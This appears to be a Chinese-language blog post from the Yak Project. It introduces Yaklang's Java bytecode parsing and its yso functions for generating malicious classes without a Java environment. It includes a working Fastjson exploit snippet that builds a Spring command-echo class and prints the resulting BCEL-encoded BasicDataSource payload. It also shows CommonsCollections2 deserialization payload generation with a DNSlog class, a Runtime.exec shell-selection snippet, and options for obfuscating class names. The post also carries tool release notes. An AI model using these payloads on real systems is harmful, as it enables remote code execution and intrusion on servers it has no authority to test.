查看原文
其他

基础设施:Yaklang Java字节码能力支持

Z3r0ne_ Yak Project 2023-04-27




0x0背景



长期以来,Java漏洞的检测与利用都离不开Java环境,所以Java漏洞相关的POC或EXP几乎都是基于Java编写。(一些特殊场景也可以将class或序列化的对象以二进制的形式储存,使用http请求的header作为参数,来脱离对Java环境的依赖。)

Java代码执行漏洞一般是通过加载类的静态代码块实现,所以需要动态修改类名。使用Header作为命令的参数会有明显的特征,且有长度限制,所以最好将需要执行的命令硬编码到class里。基于且不限于以上的原因,脱离java环境是安全融合避不开的路障。

除了类加载的漏洞利用,将Gadget与Class组合,得到的payload还可适用于各种反序列化漏洞利用场景。




0x1解析Java字节码



Yaklang 已经支持对Java序列化数据的解析与生成,可以修改一些对象的属性值。但还不够,例如动态修改类名、修改参数、变量混淆等等,都可以通过解析Java字节码实现。

Class文件是有固定结构的,各部分结构体之间没有分隔符,而是通过固定长度或顺序以区分不同结构体。Class文件包含的结构体如下。类型的u1,u2等表示1字节的无符号数、2字节的无符号数,其它的是复合结构体。

类型名称说明长度数量
u4magic魔数,识别Class文件格式4个字节1
u2minor_version副版本号(小版本)2个字节1
u2major_version主版本号(大版本)2个字节1
u2constant_pool_count常量池计数器2个字节1
cp_infoconstant_pool常量池表n个字节constant_pool_count-1
u2access_flags访问标识2个字节1
u2this_class类索引2个字节1
u2super_class父类索引2个字节1
u2interfaces_count接口计数器2个字节1
u2interfaces接口索引集合2个字节interfaces_count
u2fields_count字段计数器2个字节1
field_infofields字段表n个字节fields_count
u2methods_count方法计数器2个字节1
method_infomethods方法表n个字节methods_count
u2attributes_count属性计数器2个字节1
attribute_infoattributes属性表n个字节attributes_count


0x1.1解析Java字节码可以做什么?


根据Class文件结构,解析为Go结构体,保证数据的不丢失就可以再转回字节码。通过Go结构体不仅可以实现对字节码的修改、还可以作为中间结构,可以实现Json、BECL、Bytes数据互转。 



常量池是Class结构中的一个重要组成,通过对常量池的修改,可以实现动态的类名、对变量名的混淆,甚至去控制代码逻辑。

0x1.2字节码转Json


如图是将test类转json后的样子,JavaClass结构清晰可见。对json修改后,可转成字节码,实现了字节码的可读、可改。



0x0.3字节码转Bcel


字节码与BCEL之间可以互相转换,一些场景下可能用到BCEL,如Fastjson,使用Yaklang可轻松实现漏洞检测、利用。

// 生成fastjson
// GenerateSpringEchoEvilClassObject可选参数// springHeader #header回显的key、value// springParam #命令参数// springRuntimeExecAction #命令执行(默认只回显不执行)// springEchoBody #在body回显(默认在header回显)classObj = yso.GenerateSpringEchoEvilClassObject(yso.springParam("ls"),yso.springEchoBody(),yso.springRuntimeExecAction())bcelStr,err = yso.ToBcel(classObj)printf("{\"@type\":\"org.apache.commons.dbcp.BasicDataSource\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\":\"%s\"}", bcelStr)// 输出:// {"@type":"org.apache.commons.dbcp.BasicDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"$$BCEL$$$l$8b$I$A$....

测试payload:




0x2动态生成Class



Yaklang内置了一些常用的class(还在补充中),yso.GenerateXXXEvilClassObject系列方法可以生成ClassObject结构体,通过参数可以控制类的生成。如GenerateSpringEchoEvilClassObject的可选参数springEchoBody可设置在body回显。除了这种私有的参数,还有下面这些公有参数控制类的生成。

// evilClassName #设置类名(默认随机类名)// useConstructorExecutor #通过构造函数命令执行(默认使用静态代码块)// obfuscationClassConstantPool #对变量名进行混淆(默认开启)

下面是一些内置的类

Dnslog

Dnslog是漏洞检测常用的方式,但很多payload是通过命令执行,再通过ping触发dnslog。这种方式可能会由于环境问题或杀软拦截命令执行导致检测失败,所以提供dnslog类,通过java的Inet4Address触发Dnslog。

// 生成class字节码classObj = yso.GenerateDNSlogEvilClassObject("dnslog.com")classBytes,_ = yso.ToBytes(classObj)// 生成CC2的paylaodserObj,_ = yso.GetCommonsCollections2JavaObject(yso.useDNSLogEvilClass("dnslog.com"))serBytes,_ = yso.ToBytes(serObj)

RuntimeExec

RuntimeExec执行命令,通过下面的方式自动选择shell

if (File.separator.equals("/")) { var1 = new String[]{"/bin/sh", "-c", cmd};} else { var1 = new String[]{"cmd", "/C", cmd};}

Empty SimplePrincipalCollection


可用于shiro漏洞检测。


XXXEcho


Tomcat/Weblogic/Spring等中间件、框架的回显。




0x3总结



完成Java字节码的能力支持后,基本可以做到完全脱离Java环境,通过Yaklang的几行代码轻松实现Java相关漏洞的检测和利用,满足各种需求。后面我们要做的就是通过图形界面构造Payload,以可视化的方式,点点点生成序列化Payload、生成Yak代码。



更新通知



Yaklang 1.0.17

1. 修复 Web Fuzzer 对443 端口强制启用 HTTPS 的不恰当处理 @奶权

2. 修复端口扫描中直接输入 URL/Domain:Port 的不恰当处理 @TimwhiteZ @sharecast

3.修复关闭 web 指纹识别的情况下,不恰当的端口开放状态处理 @sharecast

4. 新增 RPA, 支持一定程度上的浏览器爬虫操作 @bcy2007

5. 优化 yso 对外开放接口,新增链 @z3

6.新增 facades 反连服务器的 yak 接口 @z3

7.Nuclei 依赖升级到 2.7.x

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存